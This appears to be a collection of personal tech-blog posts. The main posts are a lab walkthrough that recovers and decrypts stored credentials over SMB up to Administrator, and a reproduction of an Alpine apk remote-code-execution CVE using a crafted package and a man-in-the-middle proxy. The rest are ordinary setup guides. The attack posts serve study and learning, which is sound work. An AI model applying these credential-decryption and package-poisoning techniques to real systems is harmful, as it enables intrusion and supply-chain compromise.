smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/ConfigFile.vb                                                                             
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/Module1.vb                                                                                
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Application.Designer.vb                                                        
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Application.myapp                                                              
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/AssemblyInfo.vb                                                                
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Resources.Designer.vb                                                          
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Resources.resx                                                                 
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Settings.Designer.vb                                                           
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Settings.settings                                                              
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj                                                                         
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj.user                                                                    
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/SsoIntegration.vb                                                                         
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner/Utils.vb                                                                                  
smb://10.10.10.178/Secure$/IT/Carl//VB Projects/WIP/RU/RUScanner.sln                                                                                       
Downloaded 25.18kB in 39 seconds

Checking their content we see:

$ cat VB\ Projects/WIP/RU/RUScanner/Module1.vb 
Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}

    End Sub

End Module

So this seems to point it uses the RU_Config.xml we found, maybe the algo to decrypt is here. Utils.vb seems to have something related to this. Taking a closer look on utils.decrypt

    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function

This seems to be the related password. If we use this to build our own vb file.

Imports System
Imports System.Text
Imports System.Security.Cryptography

Public Module Module1
    Public Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function

	Public Sub Main()
		Dim plain As String
		plain = DecryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")
		Console.WriteLine(plain)
	End Sub
End Module

Note that the DecryptString receive the parameter from RU_Config.xml

Running it on dotnetfiddle we get: “xRxRxPANCAK3SxRxRx”, therefore user c.smith must have this password. Trying to list everything with this new user:

$ smbmap -H 10.10.10.178 -R --depth 10 -p xRxRxPANCAK3SxRxRx -u C.Smith

We will see some different files on his folder and the user flag. Download everything again.

$ smbget -R smb://10.10.10.178/Users/C.Smith -U c.smith
Password for [c.smith] connecting to //Users/10.10.10.178: 
Using workgroup WORKGROUP, user c.smith
smb://10.10.10.178/Users/C.Smith/HQK Reporting/AD Integration Module/HqkLdap.exe                                                          
smb://10.10.10.178/Users/C.Smith/HQK Reporting/Debug Mode Password.txt                               
smb://10.10.10.178/Users/C.Smith/HQK Reporting/HQK_Config_Backup.xml                              
smb://10.10.10.178/Users/C.Smith/user.txt                                
Downloaded 17.27kB in 12 seconds

Debug mode password.txt is empty which is weird lets try to get more information about it.

$ smbclient -H \\\\10.10.10.178\\Users/ -U c.smith
directory_create_or_exist: mkdir failed on directory /run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\c.smith's password: 
Try "help" to get a list of possible commands.
smb: \> cd C.Smith
dirsmb: \C.Smith\> dir
  .                                   D        0  Sun Jan 26 02:21:44 2020
  ..                                  D        0  Sun Jan 26 02:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 19:06:17 2019
  user.txt                            A       32  Thu Aug  8 19:05:24 2019
cd 
                10485247 blocks of size 4096. 6543375 blocks available
smb: \C.Smith\> cd HQK Reporting\
cd \C.Smith\HQK\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \C.Smith\> cd "HQK Reporting" 
smb: \C.Smith\HQK Reporting\> dir
  .                                   D        0  Thu Aug  8 19:06:17 2019
  ..                                  D        0  Thu Aug  8 19:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 08:18:42 2019
  Debug Mode Password.txt             A        0  Thu Aug  8 19:08:17 2019
  HQK_Config_Backup.xml               A      249  Thu Aug  8 19:09:05 2019

                10485247 blocks of size 4096. 6543375 blocks available
smb: \C.Smith\HQK Reporting\> allinfo " Debug Mode Password.txt"
NT_STATUS_OBJECT_NAME_NOT_FOUND getting alt name for \C.Smith\HQK Reporting\ Debug Mode Password.txt
smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Thu Aug  8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\>

It has another stream of data called Password. Let’s download it:

smb: get "Debug Mode Password.txt":password
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:password of size 15 as Debug Mode Password.txt:password (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Cat it we see: “WBQ201953D8w”

Dope. Another password. Let’s go back to HQK.

$ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>debug xRxRxPANCAK3SxRxRx

Invalid password entered
>debug WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
>session

--- Session Information ---

Session ID: 26ecec2e-c357-4860-8f29-d8045141cb6a
Debug: True
Started At: 6/2/2020 4:19:47 AM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.16.87:33366
Current Query Directory: C:\Program Files\HQK\ALL QUERIES

>setdir ..

Current directory set to HQK
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

Current Directory: HQK
>cd LDAP

Unrecognised command
>setdir LDAP

Current directory set to LDAP
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: LDAP
>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

This was a bit lucky, I had to navigate with setdir/list in debug mode to understand and find this Ldap.conf file. Once again, we have it encrypted and we found the .exe before so this might be another VB program, so maybe trying to decompile it with https://github.com/icsharpcode/AvaloniaILSpy - If you have trouble to install it check installing Avalonia ILSpy.

If you decompile it with AvaloniaILSpy using the .exe as input looking on main module you will see:

	else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase))
	{
		ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1));
	}

This seems the function being used to decrypt the password CR.DS. You can check what happens on CR. Now, if we build our own version:

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class CR
{
	private const string K = "667912";

	private const string I = "1L1SA61493DRV53Z";

	private const string SA = "1313Rf99";

	public static string DS(string EncryptedString)
	{
		if (string.IsNullOrEmpty(EncryptedString))
		{
			return string.Empty;
		}
		return RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
	}

	private static string RD(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
	{
		byte[] bytes = Encoding.ASCII.GetBytes(initVector);
		byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
		byte[] array = Convert.FromBase64String(cipherText);
		Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
		checked
		{
			byte[] bytes3 = rfc2898DeriveBytes.GetBytes((int)Math.Round((double)keySize / 8.0));
			AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
			aesCryptoServiceProvider.Mode = CipherMode.CBC;
			ICryptoTransform transform = aesCryptoServiceProvider.CreateDecryptor(bytes3, bytes);
			MemoryStream memoryStream = new MemoryStream(array);
			CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
			byte[] array2 = new byte[array.Length + 1];
			int count = cryptoStream.Read(array2, 0, array2.Length);
			memoryStream.Close();
			cryptoStream.Close();
			return Encoding.ASCII.GetString(array2, 0, count);
		}
	}
}

public class Program
{
	public static void Main()
	{
		Console.WriteLine(CR.DS("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4="));
	}
}

The output of it is: XtH4nkS4Pl4y1nGX (We have used dotnetfiddle for this again).

Getting the Administrator files and navigating there we can find the root flag.

Installing AvaloniaILSpy on Kali Linux

2020-06-18T00:00:00-05:00

Hello,

I have been studying pentest and eventually I had to decompile some VB NET (.NET) and decided to give a try on AvaloniaILSpy.

If you ever need to install it on Kali linux 20 you can install its dependencies with:

sudo apt-get update
sudo apt-get upgrade

wget https://packages.microsoft.com/config/ubuntu/19.10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install apt-transport-https
sudo apt-get update
sudo apt-get install dotnet-sdk-3.1

sudo apt-get install mono-devel

git clone https://github.com/icsharpcode/AvaloniaILSpy.git
cd AvaloniaILSpy/
git submodule update --init --recursive

And later to build and run it:

$ bash build.sh
$ cd artifacts/linux-x64/
$ ./ILSpy

Hope this helps you, Matheus

Building OpenSSH 8.2 and using FIDO2 U2F on ssh authentication

2020-02-17T00:00:00-06:00

OpenSSH 8.2 was just released with support for FIDO2 U2F keys. This is a nice extra layer for security!

As this is not yet on official repository for Fedora, we will need to build openssh 8.2 if we want to test.

OpenSSH 8.2 needs libfido2 and libfido2 needs libcbor systemd-devel. There is no package for FIDO2 on Fedora 31 yet, therefore we also need to build it.

Let’s start installing some dependencies:

$ sudo dnf group install 'Development Tools'
$ sudo dnf install libselinux-devel libselinux libcbor libcbor-devel systemd-devel cmake

To install libfido:

$ git clone git@github.com:Yubico/libfido2.git
$ cd libfido2
$ (rm -rf build && mkdir build && cd build && cmake ..)
$ make -C build
$ sudo make -C build install

Here we are cloning the code and basically using their commands to install it.

With this dependency ready let’s get openssh-8.2:

$ mkdir openssl-8
$ cd openssl-8
$ mkdir test-openssh
$ wget http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.2p1.tar.gz
$ tar xvzf openssh-8.2p1.tar.gz
$ cd openssh-8.2p1

With the code in place we will use configure to prepare it:

$ ./configure --with-security-key-builtin --with-md5-passwords --with-selinux --with-privsep-path=$HOME/openssl-8/test-openssh --sysconfdir=$HOME/openssl-8/test-openssh --prefix=$HOME/openssl-8/test-openssh

Note: --with-security-key-builtin is important to have support for FIDO2 internally. This command will prepare the path as $HOME/openssl-8/test-openssh my idea here is to avoid messing with my existing ssh.

After this is completed we can make/make install

$ make
$ make install

I also had to create a udev rule:

$ sudo vim /etc/udev/rules.d/90-fido.rules

With this content:

KERNEL=="hidraw*", SUBSYSTEM=="hidraw", \
  MODE="0664", GROUP="plugdev", ATTRS{idVendor}=="1050"

After all this I entered on the binary folder

$ cd $HOME/openssl-8/test-openssh/bin

To run the binary we must use ./ otherwise it will use the other binary which are system wide and we want to run the exact one which we just build. I’m not exactly sure why, but when I was running ssh-keygen, I was having some issues to find the libfido2.so.2

$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
/home/matheus/openssl-8/test-openssh/libexec/ssh-sk-helper: error while loading shared libraries: libfido2.so.2: cannot open shared object file: No such file or directory
ssh_msg_recv: read header: Connection reset by peer
client_converse: receive: unexpected internal error
reap_helper: helper exited with non-zero exit status
Key enrollment failed: unexpected internal error

In my case I found the location of this file and copied it to “/usr/lib64/libfido2.so.2”

After this when running the command to generate it without the fido2 plugged in I got:

$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
Key enrollment failed: device not found

Plugin the key in and trying again

$ ./ssh-keygen -t ecdsa-sk -f /tmp/test_ecdsa_sk
Generating public/private ecdsa-sk key pair.
You may need to touch your authenticator to authorize key generation.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in -f /tmp/test_ecdsa_sk
Your public key has been saved in -f /tmp/test_ecdsa_sk.pub
The key fingerprint is:
SHA256:.../... host@boom

The key was generated succesfully!!

Now, I needed a server which supports this. Therefore I created a dockerfile from ubuntu:20.04 with an sshd running and openssh 8.2

I’m using ubuntu:20.04 as it has libfido2 on apt and libcbor too.

FROM ubuntu:20.04
RUN apt-get update && apt-get -y install software-properties-common build-essential zlib1g-dev libssl-dev libcbor-dev wget
RUN apt-add-repository -y ppa:yubico/stable && apt-get update && apt-get -y install libfido2-dev
RUN apt-get -y install ssh && apt-get -y remove ssh
RUN wget http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.2p1.tar.gz
RUN tar xvzf openssh-8.2p1.tar.gz
RUN cd openssh-8.2p1 && ./configure --with-security-key-builtin --with-md5-passwords && make && make install 
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]

To build and run this:

$ docker build -t ubuntussh .
$ docker run -p 2222:22 -v /tmp/test_ecdsa_sk.pub:/root/.ssh/authorized_keys -it ubuntussh bash

Now you will be inside the docker instance and I had to chown the authorized key file and run the sshd:

$ chown -R root:root ~/.ssh/
$ /usr/local/sbin/sshd

Open a new terminal and cd into the openssl 8 bin folder again.

SSH_AUTH_SOCK= ./ssh -o "PasswordAuthentication=no" -o "IdentitiesOnly=yes" -i /tmp/test_ecdsa_sk root@localhost -p 2222

The SSH_AUTH_SOCK is to avoid using the ssh-agent which is already running, -i to specify exactly the key I want to use.

This outputs:

Enter passphrase for key '/tmp/test_ecdsa_sk': 
Confirm user presence for key ECDSA-SK SHA256:bsIjeSdrNiB4FhxfYBoHH2sCXLiISu9sxDFNrFLgBwY

Now we are in the ubuntussh with FIDO2+password!

Hope this helps you, Matheus

Reference: https://bugs.archlinux.org/task/65513 https://github.com/Yubico/libfido2 https://www.openssh.com/txt/release-8.2 http://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/

Use a remote serial port to flash an esp

2020-02-05T00:00:00-06:00

Recently I got back to playing with some ESP8266 as I decided to make my home smarter. Taking a look on my boards I noticed I didn’t have any 3.3V board to flash it. Taking a closer look I found I had a raspberry pi around, so I could simply use it.

After doing the setup and being able to flash using the raspberry pi it felt too hard to be programming on it and using vnc or something like this. Therefore I decided to try to use a remote serial port.

At first I got to socat but I couldn’t get it to work as it seems it doesn’t forward some specific signals. After some googling I found ser2net which seems to be compliant with RFC2217.

To install ser2net on my raspberry pi I used:

$ sudo apt-get install ser2net

After this to create a tunnel and expose it on my machine I used:

$ ssh -L 8086:localhost:8086 pi@PI_ADDRESS '/usr/sbin/ser2net -d -C "8086:raw:600:/dev/ttyAMA0:115200"'

Basically I’m forwarding my local port 8086 and on the remote device on 8086, being raw with permission 600 with port /dev/ttyAMA0 and baudrate of 115200.

To be able to flash my ESP8266 I used:

$ esptool.py -p socket://localhost:8086 write_flash -fm dio 0x000000 BasicOTA.ino.generic.bin

Note the -p socket:// with this it will use the socket to communicate.

I hope this will be helpful for you. Matheus

Testing RCE on Alpine Linux via APK

2018-09-14T00:00:00-05:00

I have been studying a little bit of security and one of the things I’m doing from time to time is reading CVE and trying to test and understand what is happening. Yesterday Max Justicz published Remote Code Execution in Alpine Linux. He found an issues on apk which is the package manager for Alpine Linux which is super popular on docker images.

Max did a great job explaining the steps and the reasoning, but I wanted to try it myself.

- Create a folder at /etc/apk/commit_hooks.d/, which doesn’t exist by default. Extracted folders are not suffixed with .apk-new.

- Create a symlink to /etc/apk/commit_hooks.d/x named anything – say, link. This gets expanded to be called link.apk-new but still points to /etc/apk/commit_hooks.d/x.

- Create a regular file named link (which will also be expanded to link.apk-new). This will write through the symlink and create a file at /etc/apk/commit_hooks.d/x.

- When apk realizes that the package’s hash doesn’t match the signed index, it will first unlink link.apk-new – but /etc/apk/commit_hooks.d/x will persist! It will then fail to unlink /etc/apk/commit_hooks.d/ with ENOTEMPTY because the directory now contains our payload.

The instructions seem simple but if you are not super familiar with how a tar file works, you may not understand it. On a tar file you can have multiple versions/files with the same name and you can extract one of them using --occurrence option. With this in mind, the instructions make a little bit more sense, so shall we try to create this file?

First of all, let’s create the directories:

sudo mkdir /etc/apk/commit_hooks.d/
mkdir folder_for_link
mkdir folder_for_real_file

Create the link:

/etc/apk/commit_hooks.d/x folder_for_link/magic

Create the real file on folder_for_real_file/magic with this content:

#!/bin/sh

echo "something" > /tmp/test-12346-YAY
echo "ha" > /testfileroot

(If it really works we should have a /tmp/test-123456-YAY file and one /testfileroot too)

Cool, now it seems we have almost everything we need! Let’s create the apk with:

tar -zcvf bad-intention.apk /etc/apk/commit_hooks.d/ -C $PWD/folder_for_link/ magic -C $PWD/folder_for_real_file/ magic

Here we are adding all this 3 things in sequence to the tar file, you can check tar content with t option:

$ tar tvf bad-intention.apk
drwxr-xr-x root/root         0 2018-09-13 19:44 etc/apk/commit_hooks.d/
lrwxrwxrwx root/root         0 2018-09-13 19:37 magic -> /etc/apk/commit_hooks.d/x
-rwxrwxrwx root/root 954 2018-09-13 23:24 magic

(Pay attention on the order of this files: create directory commit_hooks.d, creation of link and creation of file)

What should be the behavior now? Since apk on alpine runs from / it will create the folder /etc/apk/commit_hooks.k, later it will extract the link and to finish it will output the content of magic to the link which will be placed inside the X file. Note, I lost A LOT of time trying to see this behavior on tar it self, but it seems tar doesn’t have this behavior and apk implements it’s own extractor.

OK, now, we need to deliver this file when running the apk add inside docker. Here, I have updated /etc/hosts and pointed dl-cdn.alpinelinux.org to localhost. Using libraries http-mitm-proxy http-proxy request on node I have created a script to deliver the bad .apk when downloading something which has ltrace on url otherwise it will download the file and send to the docker.

var http = require('http'),
    httpProxy = require('http-proxy'),
    request = require('request'),
    fileSystem = require('fs'),
    path = require('path');

var proxy = httpProxy.createProxyServer({});

var server = http.createServer(function(req, res) {
  console.log('http://nl.alpinelinux.org' + req.url)
  if (req.url.indexOf('ltrace') > -1) {
    console.log("Trapped")
    var filePath = path.join(__dirname, 'bad-intention.apk');
    var stat = fileSystem.statSync(filePath);
    var readStream = fileSystem.createReadStream(filePath);
    readStream.pipe(res);
  } else {
      proxy = request('http://nl.alpinelinux.org' + req.url)
      proxy.on('response', function (a, b) {}).pipe(res);
  }
});

console.log("listening on port 80")
server.listen(80);

Building my docker with docker build -t alpinetest --network=host --no-cache .

FROM alpine:3.8

# RUN apk add python
RUN apk add ltrace

CMD "/bin/sh"

(If you are curious you can take a look on the test of the docker image even if it failed to build and see your files are really inside the correct places. Use docker commit CONTAINER_ID and docker run -it SHA256_STRING sh.)

This returned “The command ‘/bin/sh -c apk add ltrace’ returned a non-zero code: 1”. This happened because apk verifies the signature or the apk and try to clean up the files, but it is not able to since /etc/apk/commit_hooks.k contains a file. How to do some magic to make the apk return exit code 0? Max has found one (or two) ways of doing this.

I still need to study what exactly the python script does to update the exit code but I have tested and it really works, as a quick test you can add RUN apk add python and update folder_for_real_file/magic to call his python code.

I know this may sound simple, but it took me a while to figure out all the tiny details. If you find any mistake I made, or want to say something, drop me a line!

Matheus

Find images on chrome cache files (or any other file!)

2018-08-20T00:00:00-05:00

Good night,

Recently I have deleted a few images from my image which the old link was broken on the last few days. I decided to try to find them on the Google Chrome Cache. The url chrome://cache was recently removed, but you can find your chrome cache files at: /home/matheus/.cache/google-chrome/Default/Cache/.

If you open it as binary, you will see it is not a file directly. There is more information embeded in the file such as URL, headers, http status code and others. We could take a look on chrome source code to extract everything from the file, not only images. But to be honest I was lazy to dig into that because I had a very specific need in this case. Chrome cache storage

Why not scan the cache files for the JPEG binary? We would need to know how to find the start/end of image. We will have:

bytes 0xFF, 0xD8 indicate start of image
bytes 0xFF, 0xD9 indicate end of image

OK. So how would we do this in python?

Open the file as binary and check if there is a JFIF or EXIF marker on it. (Just trying to ignore files we can’t process)

f = open(filepath, 'rb')

data = f.read()
if 'JFIF' not in data and 'Exif' not in data:
	return

Now let’s iterate over all the bytes trying to find that specific sequence. To achieve this let’s have a prev which will have the value of the previous byte, pos to know which position we’re at and an array for SOI (Start of image) and EOI (End of Image) which will hold the positions for this markers. If the previous char is FF and the current one is D8, it will append to SOI, if it is D9 it will append to EOI.

prev = None
soi = []
eoi = []
pos = 0
for b in data:
	if prev is None:
		prev = b
		pos = pos + 1
		continue
	if prev == chr(0xFF):
		if b == chr(0xD8):
			soi.append(pos-1)
		elif b == chr(0xD9):
			eoi.append(pos-1)
	prev = b
	pos = pos + 1

We can get the SOI e EOI and save it. The only magic we will be doing here is getting the first SOI and the last SOI or EOI depending on each one is bigger.

path, filename = os.path.split(filepath)
file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, 0), 'wb')
m1 = soi[0]
m2 = soi[-1] if soi[-1] > eoi[-1] else eoi[-1]
file.write(data[m1:m2])

file.close()

print(filename, "SOI", soi, len(soi))
print(filename, "EOI", eoi, len(eoi))

This code will save only one image. If you want you could iterate over the SOI and EOI and save multiple files.

Would this be some kind of file carving?

I hope this helps you! Matheus

Get this script create the OUTPUT_FOLDER and run it as python yourfile.py filetocheck, this version should be able to handle multiple images inside the same file. Now you can check and output stream for instance.

import os
import glob
import sys

OUTPUT_FOLDER = "output-this2"


def save_file(data, path, filename, count, eoi, soi):
	file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, count), 'wb')
	m1 = soi[0]
	m2 = soi[-1] if soi[-1] > eoi[-1] else eoi[-1]
	file.write(data[m1:m2])
	file.close()

def extract(filepath):
	count = 0
	f = open(filepath, 'rb')

	data = f.read()
	if 'JFIF' not in data and 'Exif' not in data:
		return

	path, filename = os.path.split(filepath)

	old_soi = []
	old_eoi = []
	prev = None
	soi = []
	eoi = []
	eoi_found = False
	pos = 0
	for b in data:
		if prev is None:
			prev = b
			pos = pos + 1
			continue
		if prev == chr(0xFF):
			if b == chr(0xD8):
				if eoi_found:
					save_file(data, path, filename, count, eoi, soi)
					old_soi = old_soi + soi
					old_eoi = old_eoi + eoi
					soi = []
					eoi = []
					count = count + 1
					eoi_found = False
				soi.append(pos-1)
			elif b == chr(0xD9):
				eoi.append(pos-1)
				eoi_found = True
		prev = b
		pos = pos + 1

	save_file(data, path, filename, count, eoi, soi)
	print(filename, "SOI", soi, len(old_soi))
	print(filename, "EOI", eoi, len(old_eoi))

def main():
	if len(sys.argv) < 2:
		sys.exit(1)

	extract(sys.argv[1])

if __name__=="__main__":
	main()

Reference: https://stackoverflow.com/questions/4585527/detect-eof-for-jpg-images

Printer connected to Raspberry PI accessable from network.

2018-08-07T00:00:00-05:00

Hey guys,

For a long time my father has beem complaining that using the printer wasn’t practical enough, so to solve this I decided to add a Raspberry pi Zero W connected to my printer (HP Deskjet F2050) and share the printer using CUPS.

Initially you need to connect to your RPi and install CUPS.

sudo apt-get install cups

If you want to have a webinterface to configure it from your local network, update /etc/cups/cupsd.conf

sudo vim /etc/cups/cupsd.conf

Find the line:

Listen localhost:631

And update it to:

# Listen localhost:631
Port 631

You will have multiple <Location, if you want to be able to access only from your computer, add Allow from YOUR_IP for every section. Example:

<Location />
  Order allow,deny
  Allow from 10.0.0.2
</Location>

(If you want from any, use Allow from all)

Add your user (in my case PI) to lpadmin group.

sudo usermod -a -G lpadmin pi

Access your Raspberry Pi ip on your browser on port 631 (https://RPI_IP:631/).

Go to Administration - Add printer Menu. You should see your local printer there, select it and follow the wizard to setup it.

If you’re using HP printer and can’t find yours, try:

sudo apt-get install hplip

And reboot.

Let me know if you have any problems.

See you, Matheus

Update default git commit author and reset for commit.

2018-08-06T00:00:00-05:00

If you would like to set your global git author, use:

git config --global user.name "Your name"
git config --global user.email "email@example.net"

After having it set globally, you can to set your git author per project using:

git config user.name "Your name"
git config user.email "email@example.net"

And a bonus, If you need to reset the git commit author:

git commit --amend --reset-author

If you want to do it for multiple commits:

git rebase -i <COMMIT_HASH>

See you, Matheus

Docker-compose with PHP-FPM, sendmail, nginx, mariadb serving jekyll and wordpress

2018-02-06T00:00:00-06:00

As I explained recently, I had a blog running Wordpress and decided to move to Jekyll but there was a catch, I didn’t want to loose any link I had to my wordpress blog, to achieve this, I setup an nginx which will try to find a static file from jekyll and if it is not found it will fallback to Wordpress.

I was running my server on ec2 instance with RDS and it was becoming a little bit expensive, so I decided to move everything to one machine and dockerize my setup so I could easily switch my servers.

To achieve this, I have created a docker-compose with:

PHP-FPM and sendmail to process php and sendmail
Nginx to serve jekyll static files and if they’re not found serve my old wordpress blog
MariaDB as my Database for Wordpress

version: '3'
services:
  fpm:
    # image: php:7.0-fpm-alpine
    build: php7fpm
    restart: always
    volumes:
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./php7fpm/sendmail.mc:/usr/share/sendmail/cf/debian/sendmail.mc
      - ./php7fpm/gmail-auth.db:/etc/mail/authinfo/gmail-auth.db
    ports:
      - "9000:9000"
    links:
      - mariadb 
    hostname: boarders.com.br
  
  nginx:
    image: nginx:1.10.1-alpine
    restart: always
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf
      - ./nginx/app.vhost:/etc/nginx/conf.d/default.conf
      - ./logs/nginx:/var/log/nginx
      - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com
      - ./jekyll.matbra.com/:/var/www/jekyll.matbra.com
    ports:
      - "80:80"
      - "443:443"
    links:
      - fpm

  mariadb:
    image: mariadb
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=yourpassword
      - MYSQL_DATABASE=
